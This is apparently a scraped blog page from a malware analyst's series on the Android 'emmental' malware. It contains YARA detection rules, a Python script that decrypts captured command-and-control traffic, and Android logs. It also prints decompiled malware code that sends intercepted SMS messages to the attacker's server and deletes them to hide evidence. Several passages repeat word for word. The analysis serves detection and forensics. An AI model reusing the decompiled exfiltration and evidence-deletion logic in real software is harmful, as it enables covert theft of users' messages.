In this short post, I am going to use yara to create some signatures in order to detect the emmental malware I've been analysing in previous posts
"Yara is a tool aimed at (but not limited to) helping malware researchers to identify and classify malware samples. With YARA you can create descriptions of malware families (or whatever you want to describe) based on textual or binary patterns. Each description, a.k.a rule, consists of a set of strings and a boolean expression which determine its logic"
Yara can be used to search patterns in malware, memory dumps, network flows, etc, so it is a very handy tool that every Incident Handler and Forensic Analyst must know.
There is already a nice project, yararules, which is a repository for rules to detect malware, even for mobile malware. However, I did not find any specific rule for emmental malware, so I am going to create a very simple rule to detect it.
During previous posts, I already gathered some unique evidence which can be used to implement the rule, for example the user-agent used, some of the HTTP C&C commands or some of the strings in the code. Using all this evidence, I've created a very simple rule:
$ cat emmental.rule
rule emmental
{
strings:
$my_text_string = "Gecko/20100101 Firefox/26.0"
$my_text_string2 = "SMS Intercept error: Phone not setted"
$my_text_string3 = "SMS Intercept enabled over buffer"
$my_text_string4 = "Get config data from server"
condition:
$my_text_string and $my_text_string2 and $my_text_string3 and $my_text_string4
}
Now, if I run yara with the containing the rule and the .DEX file and I see that there is a match:
$yara emmental.rule classes.dex -s
emmental classes.dex
0x6e431:$my_text_string: Gecko/20100101 Firefox/26.0
0x70842:$my_text_string2: SMS Intercept error: Phone not setted
0x7081f:$my_text_string3: SMS Intercept enabled over buffer
0x5995c:$my_text_string4: Get config data from server
Although, this is a very simple example, more complex rules can be created to search across malware samples, memory dumps and even network captured traffic. For example, there are some existing tool, yaraPcap, which permits use yara against 'pcap' files. Also, I am going to create a yara rule for this purpose. The following rule matches the user-agent and we can validate with captured network traffic produced by the malware:
$ more emmetal_network.yara
rule emmental
{
strings:
$my_text_string = "Gecko/20100101 Firefox/26.0"
condition:
$my_text_string
}
$ yaraPcap.py -r Report.txt emmetal_network.yara capture.cap
$ more Report.txt
----------
File: raw.pcap
Matched Rules:
emmental
----------
DISCLAIMER: This blog is a set of personal notes I have decided to make public. Please, ignore any typo or language error
Wednesday, October 28, 2015
Implementing Yara rules to detect emmental malware: statically and dynamically
Angel Alonso-Parrizas
Reversing the C2C HTTP Emmental communication
In last post l explained how it was possible to decrypt the initial C&C communication from the data dumped from memory, with the support of a python script. In this post, I am going to follow the same approach, but using the information from the captured network traffic.
For that I will capture with Wireshark all the communication with the C&C while the malware is running. Then I can export all the 'objects' in the HTTP connection, which means the content of the HTTP request and response.
As the HTTP request is URL encoded, I need first to decode it, so I will adapt the python script created in this post to do it automatically. This is the script:
#!/usr/bin/python
from Crypto.Cipher import Blowfish
from Crypto import Random
from struct import pack
from binascii import hexlify, unhexlify
import sys
import urllib
file1 = sys.argv[1]
file_out = sys.argv[2]
blfs_key = open('/path/to/the/blfs.key','r')
url_encode = open(file1,'r')
url_encode_2 = url_encode.read()
url_decode = urllib.unquote(url_encode_2).decode('utf8')
file_ciphertext_base64 = url_decode
file_blfs_key = blfs_key.read()
ciphertext_raw = file_ciphertext_base64.decode("base64")
IV = "12345678"
_KEY = file_blfs_key
ciphertext = ciphertext_raw
KEY = hexlify(_KEY)[:50]
cipher = Blowfish.new(KEY, Blowfish.MODE_CBC, IV)
message = cipher.decrypt(ciphertext)
config_plain = open(file_out,'w')
config_plain.write(message)
With this script it is easy to run a shell command with a loop 'for' to decrypt all the files in the directory. Bare in mind than the HTTP response are not URL encoded, so I will not need to perform that step on some of the files.
Now I should have decrypted all the information from each object. Looking at the first two HTTP POST requests I see this is the case, but for the third one, this is not the case and the data is still encrypted. What's going on here?
I am going to take a look to the HTTP response from the server, what information is being sent?
A Public Key!! really interesting stuff...
Actually, if I look further in the second HTTP request from the screenshot above I can see the following:
$ more "main(3).php"
a:4....
.....
cjogVGhlIEFuZHJvaWQgUHJvamVjdCB8IGphdmEudmVyc2lvbjogMA==
";s:3:"cmd";s:7:"get_key";s:3:"rid";s:2:"25";s:4:"data";s:0:"";}
This looks to me like the malware sends a request for a key and the server replies with the public key. So the only possibility is that the malware is using that key to encrypt the data so only the C&C can decrypt it with the private key.
To confirm this is the case, I am going to check the source code of the malware with 'androguard' as I explained in previous post.
Looking at the code, I see there is a method with the string 'get_key' and I can see which other method is calling it:
In [10]: d.CLASS_Lorg_thoughtcrime_securesms_h_c.METHOD_c.pretty_show()
########## Method Information
Lorg/thoughtcrime/securesms/h/c;->c()V [access_flags=public]
########## Params
local registers: v0...v2
- return: void
####################
***************************************************************************
c-BB@0x0 :
0 (00000000) const-string v0, 'get_key'
1 (00000004) const-string v1, ''
2 (00000008) invoke-virtual v2, v0, v1, Lorg/thoughtcrime/securesms/h/c;->a(Ljava/lang/String; Ljava/lang/String;)Ljava/lang/String;
3 (0000000e) move-result-object v0
4 (00000010) iput-object v0, v2, Lorg/thoughtcrime/securesms/h/c;->c Ljava/lang/String;
5 (00000014) invoke-virtual v2, Lorg/thoughtcrime/securesms/h/c;->b()Ljava/lang/Boolean;
6 (0000001a) move-result-object v0
7 (0000001c) invoke-virtual v0, Ljava/lang/Boolean;->booleanValue()Z
8 (00000022) move-result v0
9 (00000024) if-eqz v0, 5 [ c-BB@0x28 c-BB@0x2e ]
c-BB@0x28 :
10 (00000028) invoke-direct v2, Lorg/thoughtcrime/securesms/h/c;->d()V [ c-BB@0x2e ]
c-BB@0x2e :
11 (0000002e) return-void
***************************************************************************
########## XREF
F: Lorg/thoughtcrime/securesms/h/i; b (Landroid/content/Context;)V be
T: Lorg/thoughtcrime/securesms/h/c; b ()Ljava/lang/Boolean; 14
T: Lorg/thoughtcrime/securesms/h/c; d ()V 28
T: Lorg/thoughtcrime/securesms/h/c; a (Ljava/lang/String; Ljava/lang/String;)Ljava/lang/String; 8
####################
When decompiling the code I end up with some interesting Java methods:
Looking tat the Java code I can see that the public key is used. But also, looking deeper into the code, I find another interesting method:
private String a(String p9)
{
String v1_0 = 0;
String v0_0 = "";
try {
javax.crypto.Cipher v2_1 = javax.crypto.Cipher.getInstance("RSA/ECB/PKCS1PADDING");
v2_1.init(1, this.d);
String[] v3_2 = this.a(p9, 100);
java.util.ArrayList v4_2 = new java.util.ArrayList();
int v5 = v3_2.length;
} catch (String v1) {
return this.a.c(v0_0);
}
while (v1_0 < v5) {
v4_2.add(android.util.Base64.encodeToString(v2_1.doFinal(v3_2[v1_0].getBytes()), 0));
v1_0++;
}
v0_0 = android.text.TextUtils.join(".", v4_2);
return this.a.c(v0_0);
}
So basically, one method is for encryption and the other for decryption, and both of them are using the same public key. This is really interesting stuff.
So this is whats going on so far:
Bingo! When I run the code I clearly see it works and my 'guess' was right:
What is the information sent by the C&C? it looks like a new config.xml with new C&C URL..
Very interesting..
Looking to the code again, I see methods which performs the request for a new configuration file:
In [7]: d.CLASS_Lorg_thoughtcrime_securesms_xservices_b.source()
package org.thoughtcrime.securesms.xservices;
class b extends android.os.AsyncTask {
android.content.Context a;
final synthetic org.thoughtcrime.securesms.xservices.XRepeat b;
public b(org.thoughtcrime.securesms.xservices.XRepeat p1, android.content.Context p2)
{
this.b = p1;
this.a = p2;
return;
}
protected varargs String a(String[] p4)
{
org.thoughtcrime.securesms.h.i.a(this.a);
org.thoughtcrime.securesms.h.i.c("CONF", "Check pull off urls", this.a);
org.thoughtcrime.securesms.h.i.b(this.a);
org.thoughtcrime.securesms.h.i.c(this.a);
org.thoughtcrime.securesms.h.i.c("CONF", "Get config data from server", this.a);
org.thoughtcrime.securesms.h.i.j(this.a);
org.thoughtcrime.securesms.h.i.c("DATA", "Send data to server", this.a);
return "OK";
}
protected void a(String p1)
{
super.onPostExecute(p1);
return;
}
protected synthetic Object doInBackground(Object[] p2)
{
return this.a(((String[]) p2));
}
protected synthetic void onPostExecute(Object p1)
{
this.a(((String) p1));
return;
}
}
As the HTTP request to the C&C are encrypted with the Public key, I can't decrypt it. However, I could check in memory the information before is encrypted.
And this is what I found:
a:2:{s:7:"LogCode";s:4:"CONF";s:7:"LogText";s:27:"Get config data from server";}
Which matches the methods I checked previously :)
For that I will capture with Wireshark all the communication with the C&C while the malware is running. Then I can export all the 'objects' in the HTTP connection, which means the content of the HTTP request and response.
Now, I have e in a folder all the files with the objects from the HTTP request:
$ ls main
main(1).php main(11).php main(13).php main(15).php main(3).php main(5).php main(7).php main(9).php
main(10).php main(12).php main(14).php main(2).php main(4).php main(6).php main(8).php main.php
$ more main.php
i=McsZtRV7Bv7ZjMSzwk5aIyZEiijP8F38NJcxd5VNElaIVxctxxX9UWCGbUaOIYRxhMxTtA8nBYmT%0A%2FkgJOPilsUZZyvc2swCziOJC5ae17wUorRhyx48b3kIReFjFdcomTsuyE8PNXnthpE3oWi%2F%2BV%2Btg%0AT%2Bcp2CCNstrLbeKReraPgFcgZKAlluZKoVG6SxwgKzzt0MxQFlobMu21L%2BmlA2DJ2pj8buhKtEOs%0AGAH9H6kSzdxaKks6lIynIzHLsLfyIKpHqWeTAynnJdBzcKsCIFeNvWzDdrD7Q3By3JgNN6RrgE2l%0A1z5FuY6CihbBi4hUWN36%2F2Gvtg%2BOpSz6********************zk4US3U2GPhp4C3L5%2FcA4a0nroBhndxpaDIjN4ftS0%0ACxg2100kZN9YsaLUXHvJ6Yg9jY7TJzsd8PhlNq%2FWyl1pP5YoOejbO1cFA7jj0RG%2F9Tp60zj1HpDy%0AIFOb9z5FNRI3JjGh3P4V%2Bg0iVWee2FM5Jk4k2ABcGEK5mS8MJnax3iiLEitzTnYb2zgO2V9uO9Bu%0AMq%2BswCEDk2yLmZJJ1ptAUIwj0pXqchauQ1cbikRrMOD5xTprWuQ62iS6kVtvQosA%2BfnxyresiWbs%0Am4B7s3xb%2BSV7ORouF9tQMk68thyu0NXfnSNJxuXm00FXsXMoFt%2Biw4IbtLLyhPjL3QfpMJqX4X0g%0AMmWMMQ81GIbF5Wv%2FR416%2BRCo%2BXBWDabDnwMWDY0M%2FD3G5DcXa5mVRtDJ8CDQol05s0BH9RsBNQsB%0AMFEev%2BHVGfKFCntlAy2If8lNL5k0Rx39g5QKfGIKEOxbxUfsIe0MG1TEs5ABUZBR3g3Ipz0AY9Ax%0ATekUoKpSdg4l7W7v0DFPoHmKD6WqhpPF%2B%2BFPo2CvkhWRKn0IzWcUbyGK%2Fg6ngmIv2%2F8w8nwSt3w0%0AVEZYdQns5zBFPGo6%2B9pZyceFt77QcBcrTGBheKMCsDlGfua3pGKBcxitkvWWdNmcKEP11TjLkEpb%0A4B83AHatDzOwTmh7iYz07GOU7CQXxI93q65Dc1crEEpH7rycKhc7KUZvkWYcmn8dayifCXDpEr%2Bl%0Akonl7bWWLqGDvFJ617dZ1pe9IGUCLCKmV5aunHGC8Zk9iVwELhfkMEv0a9SoxsnNnUIzSGV5hZZu%0A&s=&
As the HTTP request is URL encoded, I need first to decode it, so I will adapt the python script created in this post to do it automatically. This is the script:
#!/usr/bin/python
from Crypto.Cipher import Blowfish
from Crypto import Random
from struct import pack
from binascii import hexlify, unhexlify
import sys
import urllib
file1 = sys.argv[1]
file_out = sys.argv[2]
blfs_key = open('/path/to/the/blfs.key','r')
url_encode = open(file1,'r')
url_encode_2 = url_encode.read()
url_decode = urllib.unquote(url_encode_2).decode('utf8')
file_ciphertext_base64 = url_decode
file_blfs_key = blfs_key.read()
ciphertext_raw = file_ciphertext_base64.decode("base64")
IV = "12345678"
_KEY = file_blfs_key
ciphertext = ciphertext_raw
KEY = hexlify(_KEY)[:50]
cipher = Blowfish.new(KEY, Blowfish.MODE_CBC, IV)
message = cipher.decrypt(ciphertext)
config_plain = open(file_out,'w')
config_plain.write(message)
With this script it is easy to run a shell command with a loop 'for' to decrypt all the files in the directory. Bare in mind than the HTTP response are not URL encoded, so I will not need to perform that step on some of the files.
Now I should have decrypted all the information from each object. Looking at the first two HTTP POST requests I see this is the case, but for the third one, this is not the case and the data is still encrypted. What's going on here?
A Public Key!! really interesting stuff...
Actually, if I look further in the second HTTP request from the screenshot above I can see the following:
$ more "main(3).php"
a:4....
.....
cjogVGhlIEFuZHJvaWQgUHJvamVjdCB8IGphdmEudmVyc2lvbjogMA==
";s:3:"cmd";s:7:"get_key";s:3:"rid";s:2:"25";s:4:"data";s:0:"";}
This looks to me like the malware sends a request for a key and the server replies with the public key. So the only possibility is that the malware is using that key to encrypt the data so only the C&C can decrypt it with the private key.
To confirm this is the case, I am going to check the source code of the malware with 'androguard' as I explained in previous post.
Looking at the code, I see there is a method with the string 'get_key' and I can see which other method is calling it:
In [10]: d.CLASS_Lorg_thoughtcrime_securesms_h_c.METHOD_c.pretty_show()
########## Method Information
Lorg/thoughtcrime/securesms/h/c;->c()V [access_flags=public]
########## Params
local registers: v0...v2
- return: void
####################
***************************************************************************
c-BB@0x0 :
0 (00000000) const-string v0, 'get_key'
1 (00000004) const-string v1, ''
2 (00000008) invoke-virtual v2, v0, v1, Lorg/thoughtcrime/securesms/h/c;->a(Ljava/lang/String; Ljava/lang/String;)Ljava/lang/String;
3 (0000000e) move-result-object v0
4 (00000010) iput-object v0, v2, Lorg/thoughtcrime/securesms/h/c;->c Ljava/lang/String;
5 (00000014) invoke-virtual v2, Lorg/thoughtcrime/securesms/h/c;->b()Ljava/lang/Boolean;
6 (0000001a) move-result-object v0
7 (0000001c) invoke-virtual v0, Ljava/lang/Boolean;->booleanValue()Z
8 (00000022) move-result v0
9 (00000024) if-eqz v0, 5 [ c-BB@0x28 c-BB@0x2e ]
c-BB@0x28 :
10 (00000028) invoke-direct v2, Lorg/thoughtcrime/securesms/h/c;->d()V [ c-BB@0x2e ]
c-BB@0x2e :
11 (0000002e) return-void
***************************************************************************
########## XREF
F: Lorg/thoughtcrime/securesms/h/i; b (Landroid/content/Context;)V be
T: Lorg/thoughtcrime/securesms/h/c; b ()Ljava/lang/Boolean; 14
T: Lorg/thoughtcrime/securesms/h/c; d ()V 28
T: Lorg/thoughtcrime/securesms/h/c; a (Ljava/lang/String; Ljava/lang/String;)Ljava/lang/String; 8
####################
When decompiling the code I end up with some interesting Java methods:
Looking tat the Java code I can see that the public key is used. But also, looking deeper into the code, I find another interesting method:
private String a(String p9)
{
String v1_0 = 0;
String v0_0 = "";
try {
javax.crypto.Cipher v2_1 = javax.crypto.Cipher.getInstance("RSA/ECB/PKCS1PADDING");
v2_1.init(1, this.d);
String[] v3_2 = this.a(p9, 100);
java.util.ArrayList v4_2 = new java.util.ArrayList();
int v5 = v3_2.length;
} catch (String v1) {
return this.a.c(v0_0);
}
while (v1_0 < v5) {
v4_2.add(android.util.Base64.encodeToString(v2_1.doFinal(v3_2[v1_0].getBytes()), 0));
v1_0++;
}
v0_0 = android.text.TextUtils.join(".", v4_2);
return this.a.c(v0_0);
}
So basically, one method is for encryption and the other for decryption, and both of them are using the same public key. This is really interesting stuff.
So this is whats going on so far:
- The compromised device sends the information encrypted with blowfish to the C&C
- The C&C server replies with OK
- The compromised device requests the public key
- The C&C server replies with the public key
- The compromised device encrypts the information with the public key and sends to the C&C
- The C&C server can decrypt with it's private key
- The C&C server sends data encrypted with the private key ->I need to verify this
- The compromised device can decrypt with the public key > I need to verify this
To verify step 6 and 7, and as very quick PoC, I have created some Java code which takes the public key sent by the C&C and try to decrypt the successive messages sent by the C&C.
Bingo! When I run the code I clearly see it works and my 'guess' was right:
What is the information sent by the C&C? it looks like a new config.xml with new C&C URL..
Very interesting..
Looking to the code again, I see methods which performs the request for a new configuration file:
In [7]: d.CLASS_Lorg_thoughtcrime_securesms_xservices_b.source()
package org.thoughtcrime.securesms.xservices;
class b extends android.os.AsyncTask {
android.content.Context a;
final synthetic org.thoughtcrime.securesms.xservices.XRepeat b;
public b(org.thoughtcrime.securesms.xservices.XRepeat p1, android.content.Context p2)
{
this.b = p1;
this.a = p2;
return;
}
protected varargs String a(String[] p4)
{
org.thoughtcrime.securesms.h.i.a(this.a);
org.thoughtcrime.securesms.h.i.c("CONF", "Check pull off urls", this.a);
org.thoughtcrime.securesms.h.i.b(this.a);
org.thoughtcrime.securesms.h.i.c(this.a);
org.thoughtcrime.securesms.h.i.c("CONF", "Get config data from server", this.a);
org.thoughtcrime.securesms.h.i.j(this.a);
org.thoughtcrime.securesms.h.i.c("DATA", "Send data to server", this.a);
return "OK";
}
protected void a(String p1)
{
super.onPostExecute(p1);
return;
}
protected synthetic Object doInBackground(Object[] p2)
{
return this.a(((String[]) p2));
}
protected synthetic void onPostExecute(Object p1)
{
this.a(((String) p1));
return;
}
}
As the HTTP request to the C&C are encrypted with the Public key, I can't decrypt it. However, I could check in memory the information before is encrypted.
And this is what I found:
a:2:{s:7:"LogCode";s:4:"CONF";s:7:"LogText";s:27:"Get config data from server";}
Which matches the methods I checked previously :)
Angel Alonso-Parrizas
Tuesday, October 27, 2015
Performing forensic on SMS (Short Message Service)
One of the things I really find interesting when performing malware analysis on Android is the information from logcat. With logcat you can spot lot of things which are difficult to spot via other media. Like for example, the messages (Short Message Service) sent via GSM (unless you have your own fake base station with openBTS).
There is a bunch of malware for Android which abuse SMS. As an example: malware which subscribes to premium SMS services or malware which use the GSM network as C&C via SMS.
We saw that the malware analysed in previous post (c5cdba8771e2aee76d5bad8c2e225cd4a642050a7cfa6f22132edf607de42349) can communicate with the C&C via HTTP, but also it can send and receive C&C commands via SMS (this will be analysed in future posts). All this C&C sent/received messages sent by the malware are totally stealth for the user, which makes difficult to figure out what's going one. But looking in the logs, we can see that something is going on:
......
D/GsmInboundSmsHandler( 1207): successful broadcast, deleting from raw table.
D/GsmInboundSmsHandler( 1207): Deleted 1 rows from raw table.
D/GsmInboundSmsHandler( 1207): ordered broadcast completed in: 72 ms
D/GsmInboundSmsHandler( 1207): WaitingState.processMessage:3
D/GsmInboundSmsHandler( 1207): leaving Delivering state
D/GsmInboundSmsHandler( 1207): entering Delivering state
D/GsmInboundSmsHandler( 1207): DeliveringState.processMessage:4
D/GsmInboundSmsHandler( 1207): leaving Delivering state
D/GsmInboundSmsHandler( 1207): entering Idle state
D/RILC ( 187): RequestComplete, RIL_SOCKET_
E/RILC ( 187): Send Response to RIL_SOCKET_1
D/RILJ ( 1207): [4189]< SMS_ACKNOWLEDGE [SUB0]
D/GsmInboundSmsHandler( 1207): IdleState.processMessage:5
D/GsmInboundSmsHandler( 1207): Idle state processing message type 5
D/GsmInboundSmsHandler( 1207): mWakeLock released
D/RILC ( 187): RequestComplete, RIL_SOCKET_1
E/RILC ( 187): Send Response to RIL_SOCKET_1
D/RILJ ( 1207): [4190]< SEND_SMS { mMessageRef = 33, mErrorCode = -1, mAckPdu = null} [SUB0]
D/PHONE ( 1184): [ServiceState] setNullState=1
I/RILC ( 186): RIL_SOCKET_1 UNSOLICITED: UNSOL_RESPONSE_NEW_SMS length:192
E/RILC ( 186): Send Response to RIL_SOCKET_1
D/RILJ ( 1184): [UNSL]< UNSOL_RESPONSE_NEW_SMS [SUB0]
D/GsmInboundSmsHandler( 1184): IdleState.processMessage:1
D/GsmInboundSmsHandler( 1184): Idle state processing message type 1
D/GsmInboundSmsHandler( 1184): acquired wakelock, leaving Idle state
D/GsmInboundSmsHandler( 1184): entering Delivering state
D/GsmInboundSmsHandler( 1184): DeliveringState.processMessage:1
D/GsmInboundSmsHandler( 1184): URI of new row -> content://raw/1
D/RILJ ( 1184): [3962]> SMS_ACKNOWLEDGE true 0 [SUB0]
D/GsmInboundSmsHandler( 1184): DeliveringState.processMessage:2
D/GsmInboundSmsHandler( 1184): Delivering SMS to: org.thoughtcrime.securesms org.thoughtcrime.securesms.service.SmsListener
D/GsmInboundSmsHandler( 1184): WaitingState.processMessage:4
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler (com.android.internal.telephony.PhoneProxy) {3884f01a}
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler (com.android.internal.telephony.PhoneProxy) {3884f01a}
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler (com.android.internal.telephony.PhoneProxy) {3884f01a}
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler (com.android.internal.telephony.PhoneProxy) {3884f01a}
D/RILC ( 186): RequestComplete, RIL_SOCKET_1
E/RILC ( 186): Send Response to RIL_SOCKET_1
D/RILJ ( 1184): [3962]< SMS_ACKNOWLEDGE [SUB0]
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler (com.android.internal.telephony.PhoneProxy) {3884f01a}
D/GsmInboundSmsHandler( 1184): successful broadcast, deleting from raw table.
D/TelephonyManager( 778): getTelephonyProperty: return propVal='ch' phoneId=0 property='gsm.operator.iso-country' defaultVal='' prop=ch
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler (com.android.internal.telephony.PhoneProxy) {3884f01a}
D/TelephonyManager( 778): getTelephonyProperty: return propVal='ch' phoneId=0 property='gsm.operator.iso-country' defaultVal='' prop=ch
D/PhoneNumberUtils( 778): subId:3, defaultCountryIso:CH
D/PhoneNumberUtils( 778): slotId:0, emergencyNumbers: 911,*911,#911,112
D/GsmInboundSmsHandler( 1184): Deleted 1 rows from raw table.
D/GsmInboundSmsHandler( 1184): ordered broadcast completed in: 172 ms
D/GsmInboundSmsHandler( 1184): WaitingState.processMessage:3
D/GsmInboundSmsHandler( 1184): leaving Delivering state
D/GsmInboundSmsHandler( 1184): entering Delivering state
D/GsmInboundSmsHandler( 1184): DeliveringState.processMessage:4
D/GsmInboundSmsHandler( 1184): leaving Delivering state
D/GsmInboundSmsHandler( 1184): entering Idle state
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler (com.android.internal.telephony.PhoneProxy) {3884f01a}
D/TelephonyManager( 778): getTelephonyProperty: return propVal='ch' phoneId=0 property='gsm.operator.iso-country' defaultVal='' prop=ch
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler (com.android.internal.telephony.PhoneProxy) {3884f01a}
D/TelephonyManager( 778): getTelephonyProperty: return propVal='ch' phoneId=0 property='gsm.operator.iso-country' defaultVal='' prop=ch
D/PhoneNumberUtils( 778): subId:3, defaultCountryIso:CH
D/PhoneNumberUtils( 778): slotId:0, emergencyNumbers: 911,*911,#911,112
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler (com.android.internal.telephony.PhoneProxy) {3884f01a}
D/TelephonyManager( 778): getTelephonyProperty: return propVal='ch' phoneId=0 property='gsm.operator.iso-country' defaultVal='' prop=ch
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler
So basically the SMS is received as seen in the logs. Then it is delivered to the application org.thoughtcrime.securesms and finally the message is delete from the database so no evidence is left in the phone, ver clever technique!
Looking at the code with Androguard, I can see a suspicious method which deletes message:
In [3]: d.CLASS_Lorg_thoughtcrime_securesms_h_i.METHOD_j.source()
public static void j(android.content.Context p6)
{
android.database.sqlite.SQLiteDatabase v2 = new org.thoughtcrime.securesms.h.b(p6).getWritableDatabase();
String v0_2 = new String[0];
String v1_1 = v2.rawQuery("SELECT _id, msgdata, sended FROM messages WHERE sended=0", v0_2);
String v0_3 = "";
if ((v1_1 != null) && (v1_1.moveToFirst())) {
do {
if (v0_3.length() > 0) {
v0_3 = new StringBuilder().append(v0_3).append("$$$###\n").toString();
}
v0_3 = new StringBuilder().append(v0_3).append(v1_1.getString(1)).toString();
} while(v1_1.moveToNext());
}
if (v0_3.length() > 0) {
try {
String v0_8 = org.thoughtcrime.securesms.h.c.a(p6).a("sms", v0_3);
} catch (String v0_9) {
v0_9.printStackTrace();
v0_8 = "";
}
if (v0_8.trim().equals("OK")) {
String[] v3_11 = new String[0];
v2.delete("messages", "sended=0", v3_11);
}
}
v2.close();
return;
}
As this is done at the SQLite data base level is very difficult to recover those messages with traditional mobile forensic techniques. Besides, this malware uses its own data base:
/data/data/org.thoughtcrime.securesms/databases $# ls -l
-rw-rw---- u0_a97 u0_a97 16384 2015-10-27 09:43 canonical_address.db
-rw------- u0_a97 u0_a97 8720 2015-10-27 09:43 canonical_address.db-journal
-rw-rw---- u0_a97 u0_a97 102400 2015-10-27 09:43 messages.db
-rw------- u0_a97 u0_a97 8720 2015-10-27 09:43 messages.db-journal
-rw-rw---- u0_a97 u0_a97 20480 2015-10-27 09:43 test
-rw------- u0_a97 u0_a97 8720 2015-10-27 09:43 test-journal
There is a bunch of malware for Android which abuse SMS. As an example: malware which subscribes to premium SMS services or malware which use the GSM network as C&C via SMS.
We saw that the malware analysed in previous post (c5cdba8771e2aee76d5bad8c2e225cd4a642050a7cfa6f22132edf607de42349) can communicate with the C&C via HTTP, but also it can send and receive C&C commands via SMS (this will be analysed in future posts). All this C&C sent/received messages sent by the malware are totally stealth for the user, which makes difficult to figure out what's going one. But looking in the logs, we can see that something is going on:
......
D/GsmInboundSmsHandler( 1207): successful broadcast, deleting from raw table.
D/GsmInboundSmsHandler( 1207): Deleted 1 rows from raw table.
D/GsmInboundSmsHandler( 1207): ordered broadcast completed in: 72 ms
D/GsmInboundSmsHandler( 1207): WaitingState.processMessage:3
D/GsmInboundSmsHandler( 1207): leaving Delivering state
D/GsmInboundSmsHandler( 1207): entering Delivering state
D/GsmInboundSmsHandler( 1207): DeliveringState.processMessage:4
D/GsmInboundSmsHandler( 1207): leaving Delivering state
D/GsmInboundSmsHandler( 1207): entering Idle state
D/RILC ( 187): RequestComplete, RIL_SOCKET_
E/RILC ( 187): Send Response to RIL_SOCKET_1
D/RILJ ( 1207): [4189]< SMS_ACKNOWLEDGE [SUB0]
D/GsmInboundSmsHandler( 1207): IdleState.processMessage:5
D/GsmInboundSmsHandler( 1207): Idle state processing message type 5
D/GsmInboundSmsHandler( 1207): mWakeLock released
D/RILC ( 187): RequestComplete, RIL_SOCKET_1
E/RILC ( 187): Send Response to RIL_SOCKET_1
D/RILJ ( 1207): [4190]< SEND_SMS { mMessageRef = 33, mErrorCode = -1, mAckPdu = null} [SUB0]
D/PHONE ( 1184): [ServiceState] setNullState=1
I/RILC ( 186): RIL_SOCKET_1 UNSOLICITED: UNSOL_RESPONSE_NEW_SMS length:192
E/RILC ( 186): Send Response to RIL_SOCKET_1
D/RILJ ( 1184): [UNSL]< UNSOL_RESPONSE_NEW_SMS [SUB0]
D/GsmInboundSmsHandler( 1184): IdleState.processMessage:1
D/GsmInboundSmsHandler( 1184): Idle state processing message type 1
D/GsmInboundSmsHandler( 1184): acquired wakelock, leaving Idle state
D/GsmInboundSmsHandler( 1184): entering Delivering state
D/GsmInboundSmsHandler( 1184): DeliveringState.processMessage:1
D/GsmInboundSmsHandler( 1184): URI of new row -> content://raw/1
D/RILJ ( 1184): [3962]> SMS_ACKNOWLEDGE true 0 [SUB0]
D/GsmInboundSmsHandler( 1184): DeliveringState.processMessage:2
D/GsmInboundSmsHandler( 1184): Delivering SMS to: org.thoughtcrime.securesms org.thoughtcrime.securesms.service.SmsListener
D/GsmInboundSmsHandler( 1184): WaitingState.processMessage:4
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler (com.android.internal.telephony.PhoneProxy) {3884f01a}
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler (com.android.internal.telephony.PhoneProxy) {3884f01a}
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler (com.android.internal.telephony.PhoneProxy) {3884f01a}
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler (com.android.internal.telephony.PhoneProxy) {3884f01a}
D/RILC ( 186): RequestComplete, RIL_SOCKET_1
E/RILC ( 186): Send Response to RIL_SOCKET_1
D/RILJ ( 1184): [3962]< SMS_ACKNOWLEDGE [SUB0]
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler (com.android.internal.telephony.PhoneProxy) {3884f01a}
D/GsmInboundSmsHandler( 1184): successful broadcast, deleting from raw table.
D/TelephonyManager( 778): getTelephonyProperty: return propVal='ch' phoneId=0 property='gsm.operator.iso-country' defaultVal='' prop=ch
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler (com.android.internal.telephony.PhoneProxy) {3884f01a}
D/TelephonyManager( 778): getTelephonyProperty: return propVal='ch' phoneId=0 property='gsm.operator.iso-country' defaultVal='' prop=ch
D/PhoneNumberUtils( 778): subId:3, defaultCountryIso:CH
D/PhoneNumberUtils( 778): slotId:0, emergencyNumbers: 911,*911,#911,112
D/GsmInboundSmsHandler( 1184): Deleted 1 rows from raw table.
D/GsmInboundSmsHandler( 1184): ordered broadcast completed in: 172 ms
D/GsmInboundSmsHandler( 1184): WaitingState.processMessage:3
D/GsmInboundSmsHandler( 1184): leaving Delivering state
D/GsmInboundSmsHandler( 1184): entering Delivering state
D/GsmInboundSmsHandler( 1184): DeliveringState.processMessage:4
D/GsmInboundSmsHandler( 1184): leaving Delivering state
D/GsmInboundSmsHandler( 1184): entering Idle state
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler (com.android.internal.telephony.PhoneProxy) {3884f01a}
